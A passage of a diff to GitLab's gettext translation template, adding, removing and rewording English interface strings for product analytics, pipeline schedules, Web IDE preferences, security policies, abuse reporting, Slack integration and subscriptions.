+msgid "Observability|Explore"
+msgstr ""
+
+msgid "Observability|Manage dashboards"
+msgstr ""
+
msgid "Oct"
msgstr ""
@@ -28718,6 +29074,9 @@ msgstr ""
msgid "One or more of your personal access tokens has expired."
msgstr ""
+msgid "One or more of your personal access tokens have expired."
+msgstr ""
+
msgid "One or more of your personal access tokens will expire in %{days_to_expire} days or less:"
msgstr ""
@@ -28883,6 +29242,9 @@ msgstr ""
msgid "Opstrace endpoint for Error Tracking integration"
msgstr ""
+msgid "Optimize repository period"
+msgstr ""
+
msgid "Optimize your workflow with CI/CD Pipelines"
msgstr ""
@@ -29308,12 +29670,6 @@ msgstr ""
msgid "PackageRegistry|Helm"
msgstr ""
-msgid "PackageRegistry|Help us learn about your registry migration needs"
-msgstr ""
-
-msgid "PackageRegistry|If you are interested in migrating packages from your private registry to the GitLab Package Registry, take our survey and tell us more about your needs."
-msgstr ""
-
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -29472,9 +29828,6 @@ msgstr ""
msgid "PackageRegistry|Source project located at %{link}"
msgstr ""
-msgid "PackageRegistry|Take survey"
-msgstr ""
-
msgid "PackageRegistry|Target SHA: %{sha}"
msgstr ""
@@ -29617,12 +29970,6 @@ msgstr ""
msgid "Parent"
msgstr ""
-msgid "Parent epic doesn't exist."
-msgstr ""
-
-msgid "Parent epic is not present."
-msgstr ""
-
msgid "Parsing error for param :embed_json. %{message}"
msgstr ""
@@ -30154,7 +30501,7 @@ msgstr ""
msgid "PipelineEditor|Waiting for CI content to load..."
msgstr ""
-msgid "PipelineScheduleIntervalPattern|Custom (%{linkStart}Cron syntax%{linkEnd})"
+msgid "PipelineScheduleIntervalPattern|Custom (%{linkStart}Learn more.%{linkEnd})"
msgstr ""
msgid "PipelineSchedules|Activated"
@@ -30169,6 +30516,9 @@ msgstr ""
msgid "PipelineSchedules|Are you sure you want to delete this pipeline schedule?"
msgstr ""
+msgid "PipelineSchedules|Cron timezone"
+msgstr ""
+
msgid "PipelineSchedules|Delete pipeline schedule"
msgstr ""
@@ -30181,6 +30531,9 @@ msgstr ""
msgid "PipelineSchedules|Inactive"
msgstr ""
+msgid "PipelineSchedules|Interval Pattern"
+msgstr ""
+
msgid "PipelineSchedules|Last Pipeline"
msgstr ""
@@ -30208,6 +30561,12 @@ msgstr ""
msgid "PipelineSchedules|Run pipeline schedule"
msgstr ""
+msgid "PipelineSchedules|Save pipeline schedule"
+msgstr ""
+
+msgid "PipelineSchedules|Successfully scheduled a pipeline to run. Go to the %{linkStart}Pipelines page%{linkEnd} for details. "
+msgstr ""
+
msgid "PipelineSchedules|Successfully taken ownership from %{owner}."
msgstr ""
@@ -30226,6 +30585,9 @@ msgstr ""
msgid "PipelineSchedules|There was a problem fetching pipeline schedules."
msgstr ""
+msgid "PipelineSchedules|There was a problem playing the pipeline schedule."
+msgstr ""
+
msgid "PipelineSchedules|There was a problem taking ownership of the pipeline schedule."
msgstr ""
@@ -31180,9 +31542,6 @@ msgstr ""
msgid "Preferences|Choose what content you want to see on a project’s overview page."
msgstr ""
-msgid "Preferences|Choose which Web IDE version you want to use."
-msgstr ""
-
msgid "Preferences|Color for added lines"
msgstr ""
@@ -31240,6 +31599,9 @@ msgstr ""
msgid "Preferences|Must be a number between %{min} and %{max}"
msgstr ""
+msgid "Preferences|Opt out of the Web IDE Beta"
+msgstr ""
+
msgid "Preferences|Preview"
msgstr ""
@@ -31267,7 +31629,10 @@ msgstr ""
msgid "Preferences|Tab width"
msgstr ""
-msgid "Preferences|The legacy Web IDE remains available while the new Web IDE is in Beta."
+msgid "Preferences|The Web IDE Beta is the default Web IDE experience."
+msgstr ""
+
+msgid "Preferences|The Web IDE remains available alongside the Beta."
msgstr ""
msgid "Preferences|This feature is experimental and translations are not yet complete."
@@ -31282,9 +31647,6 @@ msgstr ""
msgid "Preferences|Time preferences"
msgstr ""
-msgid "Preferences|Use legacy Web IDE"
-msgstr ""
-
msgid "Preferences|Use relative times"
msgstr ""
@@ -31396,6 +31758,9 @@ msgstr ""
msgid "Private profile"
msgstr ""
+msgid "Private profile:"
+msgstr ""
+
msgid "Private projects Minutes cost factor"
msgstr ""
@@ -31408,27 +31773,228 @@ msgstr ""
msgid "Proceed"
msgstr ""
-msgid "Product Analytics|Onboarding view"
+msgid "Product Analytics|Add the NPM package to your package.json using your preferred package manager:"
+msgstr ""
+
+msgid "Product Analytics|Add the script to the page and assign the client SDK to window:"
+msgstr ""
+
+msgid "Product Analytics|Analyze your product with Product Analytics"
+msgstr ""
+
+msgid "Product Analytics|For the product analytics dashboard to start showing you some data, you need to add the analytics tracking code to your project."
+msgstr ""
+
+msgid "Product Analytics|Identifies the sender of tracking events"
+msgstr ""
+
+msgid "Product Analytics|Import the new package into your JS code:"
+msgstr ""
+
+msgid "Product Analytics|Instrument your application"
+msgstr ""
+
+msgid "Product Analytics|SDK App ID"
+msgstr ""
+
+msgid "Product Analytics|SDK Host"
+msgstr ""
+
+msgid "Product Analytics|Set up Product Analytics to track how your product is performing. Combine it with your GitLab data to better understand where you can improve your product and development processes."
+msgstr ""
+
+msgid "Product Analytics|Set up product analytics..."
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as a CommonJS module"
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as a HTML script tag"
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as an ESM module"
+msgstr ""
+
+msgid "Product Analytics|The host to send all tracking events to"
+msgstr ""
+
+msgid "Product Analytics|To instrument your application, select one of the options below. After an option has been instrumented and data is being collected, this page will progress to the next step."
msgstr ""
msgid "Product analytics"
msgstr ""
+msgid "ProductAnalytics|Add another dimension"
+msgstr ""
+
msgid "ProductAnalytics|Add to Dashboard"
msgstr ""
+msgid "ProductAnalytics|All clicks compared"
+msgstr ""
+
+msgid "ProductAnalytics|All events compared"
+msgstr ""
+
+msgid "ProductAnalytics|All features"
+msgstr ""
+
+msgid "ProductAnalytics|All pages"
+msgstr ""
+
msgid "ProductAnalytics|An error occured while loading the %{widgetTitle} widget."
msgstr ""
+msgid "ProductAnalytics|An error occurred while fetching data. Refresh the page to try again."
+msgstr ""
+
+msgid "ProductAnalytics|Any Click on elements"
+msgstr ""
+
msgid "ProductAnalytics|Audience"
msgstr ""
+msgid "ProductAnalytics|Browser"
+msgstr ""
+
+msgid "ProductAnalytics|Browser Family"
+msgstr ""
+
+msgid "ProductAnalytics|Choose a chart type on the right"
+msgstr ""
+
+msgid "ProductAnalytics|Choose a measurement to start"
+msgstr ""
+
+msgid "ProductAnalytics|Click Events"
+msgstr ""
+
+msgid "ProductAnalytics|Code"
+msgstr ""
+
+msgid "ProductAnalytics|Compares all events against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares click events against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares feature usage of all features against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares pageviews of all pages against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Dashboards are created by editing the projects dashboard files."
+msgstr ""
+
+msgid "ProductAnalytics|Data"
+msgstr ""
+
+msgid "ProductAnalytics|Data Table"
+msgstr ""
+
+msgid "ProductAnalytics|Dimensions"
+msgstr ""
+
+msgid "ProductAnalytics|Event Type"
+msgstr ""
+
+msgid "ProductAnalytics|Events"
+msgstr ""
+
+msgid "ProductAnalytics|Events grouped by %{granularity}"
+msgstr ""
+
+msgid "ProductAnalytics|Events over time"
+msgstr ""
+
+msgid "ProductAnalytics|Feature Usage"
+msgstr ""
+
+msgid "ProductAnalytics|Feature usage"
+msgstr ""
+
+msgid "ProductAnalytics|Host"
+msgstr ""
+
+msgid "ProductAnalytics|Language"
+msgstr ""
+
+msgid "ProductAnalytics|Line Chart"
+msgstr ""
+
+msgid "ProductAnalytics|Measure All tracked Events"
+msgstr ""
+
+msgid "ProductAnalytics|Measure all or specific Page Views"
+msgstr ""
+
+msgid "ProductAnalytics|Measuring"
+msgstr ""
+
msgid "ProductAnalytics|New Analytics Widget Title"
msgstr ""
+msgid "ProductAnalytics|OS"
+msgstr ""
+
+msgid "ProductAnalytics|OS Version"
+msgstr ""
+
+msgid "ProductAnalytics|On what do you want to get insights?"
+msgstr ""
+
+msgid "ProductAnalytics|Page Language"
+msgstr ""
+
+msgid "ProductAnalytics|Page Path"
+msgstr ""
+
+msgid "ProductAnalytics|Page Title"
+msgstr ""
+
+msgid "ProductAnalytics|Page Views"
+msgstr ""
+
+msgid "ProductAnalytics|Pages"
+msgstr ""
+
+msgid "ProductAnalytics|Product analytics dashboards"
+msgstr ""
+
+msgid "ProductAnalytics|Referer"
+msgstr ""
+
+msgid "ProductAnalytics|Resulting Data"
+msgstr ""
+
msgid "ProductAnalytics|There is no data for this type of chart currently. Please see the Setup tab if you have not configured the product analytics tool already."
msgstr ""
+msgid "ProductAnalytics|Track specific features"
+msgstr ""
+
+msgid "ProductAnalytics|URL"
+msgstr ""
+
+msgid "ProductAnalytics|User activity"
+msgstr ""
+
+msgid "ProductAnalytics|Users"
+msgstr ""
+
+msgid "ProductAnalytics|Viewport"
+msgstr ""
+
+msgid "ProductAnalytics|Visualization Type"
+msgstr ""
+
+msgid "ProductAnalytics|What do you want to measure?"
+msgstr ""
+
+msgid "ProductAnalytics|Widget"
+msgstr ""
+
msgid "Productivity"
msgstr ""
@@ -32083,6 +32649,18 @@ msgstr ""
msgid "ProjectLastActivity|Never"
msgstr ""
+msgid "ProjectList|Explore"
+msgstr ""
+
+msgid "ProjectList|Starred"
+msgstr ""
+
+msgid "ProjectList|Topics"
+msgstr ""
+
+msgid "ProjectList|Yours"
+msgstr ""
+
msgid "ProjectOverview|Fork"
msgstr ""
@@ -32302,6 +32880,9 @@ msgstr ""
msgid "ProjectService|Trigger event when a wiki page is created or updated."
msgstr ""
+msgid "ProjectService|Trigger event when an incident is created."
+msgstr ""
+
msgid "ProjectService|Trigger event when an issue is created, updated, or closed."
msgstr ""
@@ -32377,9 +32958,6 @@ msgstr ""
msgid "ProjectSettings|Configure your infrastructure."
msgstr ""
-msgid "ProjectSettings|Configure your project resources and monitor their health."
-msgstr ""
-
msgid "ProjectSettings|Contact an admin to change this setting."
msgstr ""
@@ -32551,9 +33129,6 @@ msgstr ""
msgid "ProjectSettings|Only signed commits can be pushed to this repository."
msgstr ""
-msgid "ProjectSettings|Operations"
-msgstr ""
-
msgid "ProjectSettings|Override user notification preferences for all project members."
msgstr ""
@@ -32704,10 +33279,10 @@ msgstr ""
msgid "ProjectSettings|Users can copy the repository to a new project."
msgstr ""
-msgid "ProjectSettings|Users can only push commits to this repository if the committer email is one of their own verified emails."
+msgid "ProjectSettings|Users can only push commits to this repository if the commit author name is consistent with their GitLab account name."
msgstr ""
-msgid "ProjectSettings|Users can only push commits to this repository if the committer name is consistent with their git config username."
+msgid "ProjectSettings|Users can only push commits to this repository if the committer email is one of their own verified emails."
msgstr ""
msgid "ProjectSettings|Users can request access"
@@ -32839,6 +33414,9 @@ msgstr ""
msgid "ProjectTemplates|Spring"
msgstr ""
+msgid "ProjectTemplates|TYPO3 Distribution"
+msgstr ""
+
msgid "ProjectTemplates|Tencent Serverless Framework/NextjsSSR"
msgstr ""
@@ -33463,6 +34041,24 @@ msgstr ""
msgid "ProtectedBranch|default"
msgstr ""
+msgid "ProtectedEnvironments|Allowed to deploy"
+msgstr ""
+
+msgid "ProtectedEnvironments|An error occurred while fetching information on the selected approvers."
+msgstr ""
+
+msgid "ProtectedEnvironments|Approval rules"
+msgstr ""
+
+msgid "ProtectedEnvironments|Number of approvals must be between 1 and 5"
+msgstr ""
+
+msgid "ProtectedEnvironments|Set which groups, access levels or users are required to approve."
+msgstr ""
+
+msgid "ProtectedEnvironments|Set which groups, access levels or users that are allowed to deploy to this environment"
+msgstr ""
+
msgid "ProtectedEnvironment|%{environment_name} will be writable for developers. Are you sure?"
msgstr ""
@@ -33475,6 +34071,9 @@ msgstr ""
msgid "ProtectedEnvironment|Allowed to deploy to %{project} / %{environment}"
msgstr ""
+msgid "ProtectedEnvironment|Approvers"
+msgstr ""
+
msgid "ProtectedEnvironment|Environment"
msgstr ""
@@ -33511,6 +34110,9 @@ msgstr ""
msgid "ProtectedEnvironment|Select an environment"
msgstr ""
+msgid "ProtectedEnvironment|Select environment"
+msgstr ""
+
msgid "ProtectedEnvironment|Select groups"
msgstr ""
@@ -34241,6 +34843,9 @@ msgstr ""
msgid "Reload page"
msgstr ""
+msgid "Reload the page to try again."
+msgstr ""
+
msgid "Remediations"
msgstr ""
@@ -34508,9 +35113,6 @@ msgstr ""
msgid "Renew subscription"
msgstr ""
-msgid "Renews"
-msgstr ""
-
msgid "Reopen"
msgstr ""
@@ -34568,9 +35170,6 @@ msgstr ""
msgid "Replaces the clone URL root."
msgstr ""
-msgid "Replication"
-msgstr ""
-
msgid "Reply"
msgstr ""
@@ -34607,6 +35206,33 @@ msgstr ""
msgid "Report your license usage data to GitLab"
msgstr ""
+msgid "ReportAbuse|Something else."
+msgstr ""
+
+msgid "ReportAbuse|They're being offsensive or abusive."
+msgstr ""
+
+msgid "ReportAbuse|They're crypto mining."
+msgstr ""
+
+msgid "ReportAbuse|They're phising."
+msgstr ""
+
+msgid "ReportAbuse|They're posting malware."
+msgstr ""
+
+msgid "ReportAbuse|They're posting personal information or credentials."
+msgstr ""
+
+msgid "ReportAbuse|They're posting spam."
+msgstr ""
+
+msgid "ReportAbuse|They're violating a copyright or trademark."
+msgstr ""
+
+msgid "ReportAbuse|Why are you reporting this user?"
+msgstr ""
+
msgid "Reported %{timeAgo} by %{reportedBy}"
msgstr ""
@@ -35553,7 +36179,7 @@ msgstr ""
msgid "Runners|Executor"
msgstr ""
-msgid "Runners|Existing runners are not affected. To permit runner registration for all groups, enable this setting in the Admin Area in Settings &gt CI/CD."
+msgid "Runners|Existing runners are not affected. To permit runner registration for all groups, enable this setting in the Admin Area in Settings &gt; CI/CD."
msgstr ""
msgid "Runners|Filter projects"
@@ -35926,7 +36552,7 @@ msgstr ""
msgid "Runners|Yes, start deleting stale runners"
msgstr ""
-msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared runner."
+msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared or group runner."
msgstr ""
msgid "Runners|You have used %{quotaUsed} out of %{quotaLimit} of your shared Runners pipeline minutes."
@@ -36133,6 +36759,12 @@ msgstr ""
msgid "ScanExecutionPolicy|A pipeline is run"
msgstr ""
+msgid "ScanExecutionPolicy|Ex, tag-name-1, tag-name-2"
+msgstr ""
+
+msgid "ScanExecutionPolicy|If the field is empty, the runner will be automatically selected"
+msgstr ""
+
msgid "ScanExecutionPolicy|Scanner profile"
msgstr ""
@@ -36157,9 +36789,6 @@ msgstr ""
msgid "ScanExecutionPolicy|Select site profile"
msgstr ""
-msgid "ScanExecutionPolicy|Select tags (if any)"
-msgstr ""
-
msgid "ScanExecutionPolicy|Site profile"
msgstr ""
@@ -36175,6 +36804,9 @@ msgstr ""
msgid "ScanExecutionPolicy|in namespaces"
msgstr ""
+msgid "ScanResultPolicy|%{count} licenses"
+msgstr ""
+
msgid "ScanResultPolicy|%{ifLabelStart}if%{ifLabelEnd} %{scanners} find(s) more than %{vulnerabilitiesAllowed} %{severities} %{vulnerabilityStates} vulnerabilities in an open merge request targeting %{branches}"
msgstr ""
@@ -36184,12 +36816,36 @@ msgstr ""
msgid "ScanResultPolicy|%{thenLabelStart}Then%{thenLabelEnd} Require approval from %{approvalsRequired} of the following approvers:"
msgstr ""
+msgid "ScanResultPolicy|Newly Detected"
+msgstr ""
+
+msgid "ScanResultPolicy|Pre-existing"
+msgstr ""
+
msgid "ScanResultPolicy|add an approver"
msgstr ""
+msgid "ScanResultPolicy|except"
+msgstr ""
+
+msgid "ScanResultPolicy|finds any license %{matchType} %{licenseType} and is %{licenseStates} in an open merge request targeting %{branches}"
+msgstr ""
+
msgid "ScanResultPolicy|from %{scanners} find(s) more than %{vulnerabilitiesAllowed} %{severities} %{vulnerabilityStates} vulnerabilities in an open merge request targeting %{branches}"
msgstr ""
+msgid "ScanResultPolicy|license states"
+msgstr ""
+
+msgid "ScanResultPolicy|license type"
+msgstr ""
+
+msgid "ScanResultPolicy|matching"
+msgstr ""
+
+msgid "ScanResultPolicy|matching type"
+msgstr ""
+
msgid "ScanResultPolicy|scanners"
msgstr ""
@@ -36382,9 +37038,6 @@ msgstr ""
msgid "Search projects"
msgstr ""
-msgid "Search projects..."
-msgstr ""
-
msgid "Search protected branches"
msgstr ""
@@ -36752,6 +37405,15 @@ msgstr ""
msgid "SecurityOrchestration|%{branches} branch"
msgstr ""
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd}"
+msgstr ""
+
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd} on runners with the %{tags} and %{lastTag} tags"
+msgstr ""
+
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd} on runners with the %{tags} tag"
+msgstr ""
+
msgid "SecurityOrchestration|%{scanners}"
msgstr ""
@@ -36773,6 +37435,9 @@ msgstr ""
msgid "SecurityOrchestration|Add action"
msgstr ""
+msgid "SecurityOrchestration|Add new approver"
+msgstr ""
+
msgid "SecurityOrchestration|Add rule"
msgstr ""
@@ -37052,7 +37717,7 @@ msgstr ""
msgid "SecurityOrchestration|Summary"
msgstr ""
-msgid "SecurityOrchestration|The following branches do not exist on this development project: %{branches}. Please review all branches to ensure the values are accurate before updating this policy."
+msgid "SecurityOrchestration|The following branches do not exist on this development project: %{branches}. Please review all protected branches to ensure the values are accurate before updating this policy."
msgstr ""
msgid "SecurityOrchestration|There was a problem creating the new security policy"
@@ -37115,10 +37780,10 @@ msgstr ""
msgid "SecurityOrchestration|a"
msgstr ""
-msgid "SecurityOrchestration|all branches"
+msgid "SecurityOrchestration|all namespaces"
msgstr ""
-msgid "SecurityOrchestration|all namespaces"
+msgid "SecurityOrchestration|all protected branches"
msgstr ""
msgid "SecurityOrchestration|an"
@@ -37133,6 +37798,9 @@ msgstr ""
msgid "SecurityOrchestration|group level branch"
msgstr ""
+msgid "SecurityOrchestration|or from: %{approverType}%{approvers}"
+msgstr ""
+
msgid "SecurityOrchestration|scanner finds"
msgstr ""
@@ -37202,9 +37870,6 @@ msgstr ""
msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
msgstr ""
-msgid "SecurityReports|At GitLab, we're all about iteration and feedback. That's why we are reaching out to customers like you to help guide what we work on this year for Vulnerability Management. We have a lot of exciting ideas and ask that you assist us by taking a short survey %{boldStart}no longer than 10 minutes%{boldEnd} to evaluate a few of our potential features."
-msgstr ""
-
msgid "SecurityReports|Change status"
msgstr ""
@@ -37424,9 +38089,6 @@ msgstr ""
msgid "SecurityReports|Submit vulnerability"
msgstr ""
-msgid "SecurityReports|Take survey"
-msgstr ""
-
msgid "SecurityReports|The Vulnerability Report shows results of successful scans on your project's default branch, manually added vulnerability records, and vulnerabilities found from scanning operational environments. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
@@ -37454,6 +38116,9 @@ msgstr ""
msgid "SecurityReports|There was an error dismissing the vulnerability."
msgstr ""
+msgid "SecurityReports|There was an error fetching the finding. Please try again."
+msgstr ""
+
msgid "SecurityReports|There was an error reverting the dismissal."
msgstr ""
@@ -37484,9 +38149,6 @@ msgstr ""
msgid "SecurityReports|Upgrade to manage vulnerabilities"
msgstr ""
-msgid "SecurityReports|Vulnerability Management feature survey"
-msgstr ""
-
msgid "SecurityReports|Vulnerability Report"
msgstr ""
@@ -37505,9 +38167,6 @@ msgstr ""
msgid "SecurityReports|You must sign in as an authorized user to see this report"
msgstr ""
-msgid "SecurityReports|Your feedback is important to us! We will ask again in a week."
-msgstr ""
-
msgid "SecurityReports|scanned resources"
msgstr ""
@@ -38287,6 +38946,9 @@ msgstr ""
msgid "Show file contents"
msgstr ""
+msgid "Show filters"
+msgstr ""
+
msgid "Show group milestones"
msgstr ""
@@ -38502,9 +39164,6 @@ msgstr ""
msgid "Sign-in count:"
msgstr ""
-msgid "Sign-in failed because %{error}."
-msgstr ""
-
msgid "Sign-in page"
msgstr ""
@@ -38631,9 +39290,6 @@ msgstr ""
msgid "SlackIntegration|Install GitLab for Slack app"
msgstr ""
-msgid "SlackIntegration|Notifications only work if you're on the latest version of the GitLab for Slack app"
-msgstr ""
-
msgid "SlackIntegration|Project alias"
msgstr ""
@@ -38664,6 +39320,12 @@ msgstr ""
msgid "SlackIntegration|Update to the latest version"
msgstr ""
+msgid "SlackIntegration|Update to the latest version of GitLab for Slack to get notifications"
+msgstr ""
+
+msgid "SlackIntegration|Update to the latest version to receive notifications from GitLab."
+msgstr ""
+
msgid "SlackIntegration|Verification token"
msgstr ""
@@ -38691,10 +39353,10 @@ msgstr ""
msgid "SlackService|Perform common operations in this project by entering slash commands in Slack."
msgstr ""
-msgid "Slack|%{asterisk}Step 1.%{asterisk} Connect your GitLab account to get started."
+msgid "Slack|%{asterisk}Channel notifications%{asterisk}"
msgstr ""
-msgid "Slack|%{asterisk}Step 2.%{asterisk} Try it out!"
+msgid "Slack|%{asterisk}Slash commands%{asterisk}"
msgstr ""
msgid "Slack|%{emoji}Connected to GitLab account %{account}"
@@ -38706,22 +39368,16 @@ msgstr ""
msgid "Slack|Connect your GitLab account"
msgstr ""
-msgid "Slack|Create a new issue"
-msgstr ""
-
-msgid "Slack|Create new issues from Slack: %{command}"
+msgid "Slack|Control GitLab from Slack with %{startMarkup}slash commands%{endMarkup}. For a list of available commands, enter %{command}."
msgstr ""
-msgid "Slack|Run a CI/CD job"
+msgid "Slack|GitLab for Slack now supports channel-based notifications.Let your team know when new issues are created or new CI/CD jobs are run.%{startMarkup}Learn more%{endMarkup}."
msgstr ""
-msgid "Slack|See a list of available commands: %{command})"
+msgid "Slack|To start using notifications, %{startMarkup}enable the Slack integration%{endMarkup} in your project settings."
msgstr ""
-msgid "Slack|Streamline your GitLab deployments with ChatOps. Once you've configured your %{startMarkup}CI/CD pipelines%{endMarkup}, try: %{command}"
-msgstr ""
-
-msgid "Slack|View and control GitLab content while you're working in Slack. Type the command as a message in your chat client to activate it. %{startMarkup}Learn more%{endMarkup}."
+msgid "Slack|To start using slash commands, connect your GitLab account."
msgstr ""
msgid "Slice multiplier"
@@ -39219,6 +39875,12 @@ msgstr ""
msgid "Source branch"
msgstr ""
+msgid "Source branch does not exist"
+msgstr ""
+
+msgid "Source branch is protected from force push"
+msgstr ""
+
msgid "Source branch will be deleted."
msgstr ""
@@ -39414,15 +40076,15 @@ msgstr ""
msgid "Start a Free Ultimate Trial"
msgstr ""
-msgid "Start a new discussion…"
-msgstr ""
-
msgid "Start a new merge request with these changes"
msgstr ""
msgid "Start a review"
msgstr ""
+msgid "Start another thread"
+msgstr ""
+
msgid "Start by choosing a group to start exploring the merge requests in that group. You can then proceed to filter by projects, labels, milestones and authors."
msgstr ""
@@ -39912,18 +40574,36 @@ msgstr ""
msgid "Subscriptions"
msgstr ""
+msgid "Subscriptions|Activation date"
+msgstr ""
+
msgid "Subscriptions|Chat with sales"
msgstr ""
msgid "Subscriptions|Close"
msgstr ""
+msgid "Subscriptions|End date"
+msgstr ""
+
+msgid "Subscriptions|End date:"
+msgstr ""
+
+msgid "Subscriptions|Last sync"
+msgstr ""
+
+msgid "Subscriptions|None"
+msgstr ""
+
msgid "Subscriptions|Not ready to buy yet?"
msgstr ""
msgid "Subscriptions|Start a free trial"
msgstr ""
+msgid "Subscriptions|Start date"
+msgstr ""
+
msgid "Subscriptions|We understand. Maybe you have some questions for our sales team, or maybe you'd like to try some of the paid features first. What would you like to do?"
msgstr ""
@@ -40140,6 +40820,9 @@ msgstr ""
msgid "SuperSonics|Activation not possible due to true-up value mismatch"
msgstr ""
+msgid "SuperSonics|Add activation code"
+msgstr ""
+
msgid "SuperSonics|An error occurred while adding your subscription"
msgstr ""
@@ -40158,7 +40841,7 @@ msgstr ""
msgid "SuperSonics|Cloud licensing is now available. It's an easier way to activate instances and manage subscriptions. Read more about it in our %{blogPostLinkStart}blog post%{blogPostLinkEnd}. Activation codes are available in the %{portalLinkStart}Customers Portal%{portalLinkEnd}."
msgstr ""
-msgid "SuperSonics|Enter activation code"
+msgid "SuperSonics|Customers Portal"
msgstr ""
msgid "SuperSonics|Export license usage file"
@@ -40179,9 +40862,6 @@ msgstr ""
msgid "SuperSonics|Licensed to"
msgstr ""
-msgid "SuperSonics|Manage"
-msgstr ""
-
msgid "SuperSonics|Maximum users"
msgstr ""
@@ -40670,15 +41350,6 @@ msgstr ""
msgid "TemporaryStorageIncrease|can only be set with more than %{percentage}%% usage"
msgstr ""
-msgid "TemporaryStorage|GitLab allows you a %{strongStart}free, one-time storage increase%{strongEnd}. For 30 days your storage will be unlimited. This gives you time to reduce your storage usage. After 30 days, your original storage limit of %{limit} applies. If you are at maximum storage capacity, your account will be read-only. To continue using GitLab you'll have to purchase additional storage or decrease storage usage."
-msgstr ""
-
-msgid "TemporaryStorage|Increase storage temporarily"
-msgstr ""
-
-msgid "TemporaryStorage|Temporarily increase storage now?"
-msgstr ""
-
msgid "Terminal"
msgstr ""
@@ -40709,6 +41380,21 @@ msgstr ""
msgid "TerraformBanner|Using Terraform? Try the GitLab Managed Terraform State"
msgstr ""
+msgid "TerraformLimits|Learn more about Terraform limits."
+msgstr ""
+
+msgid "TerraformLimits|Limits for Terraform features"
+msgstr ""
+
+msgid "TerraformLimits|Maximum file size (in bytes) of Terraform state files. Set to 0 for no limit."
+msgstr ""
+
+msgid "TerraformLimits|Terraform limits"
+msgstr ""
+
+msgid "TerraformLimits|Terraform state size limit (bytes)"
+msgstr ""
+
msgid "Terraform|%{name} successfully removed"
msgstr ""
@@ -40975,9 +41661,6 @@ msgstr ""
msgid "TestReports|Test reports require job artifacts but all artifacts are expired. %{linkStart}Learn more%{linkEnd}"
msgstr ""
-msgid "TestReports|Tests"
-msgstr ""
-
msgid "TestReports|There are no test cases to display."
msgstr ""
@@ -41231,6 +41914,9 @@ msgid_plural "The following personal access tokens: %{token_names} were revoked,
msgstr[0] ""
msgstr[1] ""
+msgid "The following personal access tokens have expired:"
+msgstr ""
+
msgid "The fork relationship has been removed."
msgstr ""
@@ -41380,6 +42066,9 @@ msgstr ""
msgid "The name of the Jenkins project. Copy the name from the end of the URL to the project."
msgstr ""
+msgid "The new Web IDE"
+msgstr ""
+
msgid "The number of changes to fetch from GitLab when cloning a repository. Lower values can speed up pipeline execution. Set to %{code_open}0%{code_close} or blank to fetch all branches and tags for each job"
msgstr ""
@@ -41584,6 +42273,9 @@ msgstr ""
msgid "There are no abuse reports!"
msgstr ""
+msgid "There are no approval rules for the given `represent_as` parameter. Use a valid User/Group/Role name instead."
+msgstr ""
+
msgid "There are no archived requirements"
msgstr ""
@@ -41932,6 +42624,9 @@ msgstr ""
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
msgstr ""
+msgid "This %{issuable} is hidden because its author has been banned"
+msgstr ""
+
msgid "This %{issuable} is locked. Only %{strong_open}project members%{strong_close} can comment."
msgstr ""
@@ -42034,21 +42729,27 @@ msgstr ""
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
msgstr ""
-msgid "This commit was signed with %{strong_open}multiple%{strong_close} signatures."
-msgstr ""
-
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr ""
msgid "This commit was signed with a different user's verified signature."
msgstr ""
+msgid "This commit was signed with a verified signature and the committer email was verified to belong to the same user."
+msgstr ""
+
msgid "This commit was signed with a verified signature, but the committer email is not associated with the GPG Key."
msgstr ""
msgid "This commit was signed with an %{strong_open}unverified%{strong_close} signature."
msgstr ""
+msgid "This commit was signed with an unverified signature."
+msgstr ""
+
+msgid "This commit was signed with multiple signatures."
+msgstr ""
+
msgid "This content could not be displayed because %{reason}. You can %{options} instead."
msgstr ""
@@ -42271,6 +42972,9 @@ msgstr ""
msgid "This job does not run automatically and must be started manually, but you do not have access to it."
msgstr ""
+msgid "This job does not start automatically and must be started manually. You can add CI/CD variables below for last-minute configuration changes before starting the job."
+msgstr ""
+
msgid "This job has been canceled"
msgstr ""
@@ -42346,9 +43050,6 @@ msgstr ""
msgid "This job requires a manual action"
msgstr ""
-msgid "This job requires manual intervention to start. Before starting this job, you can add variables below for last-minute configuration changes."
-msgstr ""
-
msgid "This job will automatically run after its timer finishes. Often they are used for incremental roll-out deploys to production environments. When unscheduled it converts into a manual action."
msgstr ""
@@ -42553,7 +43254,7 @@ msgstr ""
msgid "This variable can not be masked."
msgstr ""
-msgid "This vulnerability type has been deprecated from GitLab's default ruleset and automatically resolved."
+msgid "This vulnerability was automatically resolved because its vulnerability type was disabled in this project or removed from GitLab's default ruleset."
msgstr ""
msgid "This will invalidate your registered applications and U2F / WebAuthn devices."
@@ -42995,6 +43696,11 @@ msgstr ""
msgid "To import an SVN repository, check out %{svn_link}."
msgstr ""
+msgid "To invite more users, you can reduce the number of users in your namespace to %{free_limit} user or less. You can also upgrade to a paid tier which do not have user limits. If you need additional time, you can start a free 30-day trial which includes unlimited users."
+msgid_plural "To invite more users, you can reduce the number of users in your namespace to %{free_limit} users or less. You can also upgrade to a paid tier which do not have user limits. If you need additional time, you can start a free 30-day trial which includes unlimited users."
+msgstr[0] ""
+msgstr[1] ""
+
msgid "To keep this project going, create a new issue"
msgstr ""
@@ -43211,7 +43917,7 @@ msgstr ""
msgid "Todos|added a to-do item"
msgstr ""
-msgid "Todos|has requested access"
+msgid "Todos|has requested access to %{what} %{which}"
msgstr ""
msgid "Todos|mentioned %{who}"
